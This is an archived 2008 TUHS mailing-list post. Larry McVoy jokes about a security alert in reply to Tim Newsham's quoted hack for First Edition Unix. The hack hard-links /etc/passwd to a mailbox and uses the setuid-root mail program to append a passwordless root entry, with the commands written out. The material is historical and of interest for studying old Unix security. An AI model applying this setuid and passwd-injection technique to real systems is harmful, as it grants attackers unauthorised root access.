From: lm@bitmover.com (Larry McVoy)
Subject: [TUHS] Some fun with 1st ed
Date: Sat, 3 May 2008 12:24:00 -0700 [thread overview]
Message-ID: <20080503192359.GA11882@bitmover.com> (raw)
In-Reply-To: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
We need to send out a security alert immediately. This is serious.
On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote:
> All work and no play...
>
> Here's a fun hack for first edition unix. From MAIL (I) :
>
> When followed by the names of a letter and one or more people, the
> letter is appended to each person's mailbox. Each letter is
> preceded by the sender's name and a postmark.
>
> A person is either the nameof an entry in the directory /usr, in
> which case the mail is sent to /usr/person/mailbox, or the path
> of a directory, in which case mailbox in that directory is used.
>
> Mail is setuid root:
>
> # ls -l /bin/mail
> 80 surwr- 1 root 3940 Jan 1 00:00:00 mail
>
> login as a non-root user (ie "bin"), create a file "letter" with the
> contents "hack::0:/:". Run:
>
> @ ln /etc/passwd /tmp/mailbox
> @ mail letter /tmp
>
> log out and log back in as "hack". You are now root. Cat /etc/passwd
> and notice:
>
> From bin Jan 1 00:49:22
> hack::0:/:
>
> clean up the file a little and enjoy your new elevated status.
>
> Tim Newsham
> http://www.thenewsh.com/~newsham/
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next prev parent reply other threads:[~2008-05-03 19:24 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2008-05-03 19:20 Tim Newsham
2008-05-03 19:24 ` Larry McVoy [this message]
2008-05-03 19:29 ` Wilko Bulte
2008-05-03 19:34 ` Tim Newsham
2008-05-19 17:35 ` [Unix-jun72] " Angus Robinson
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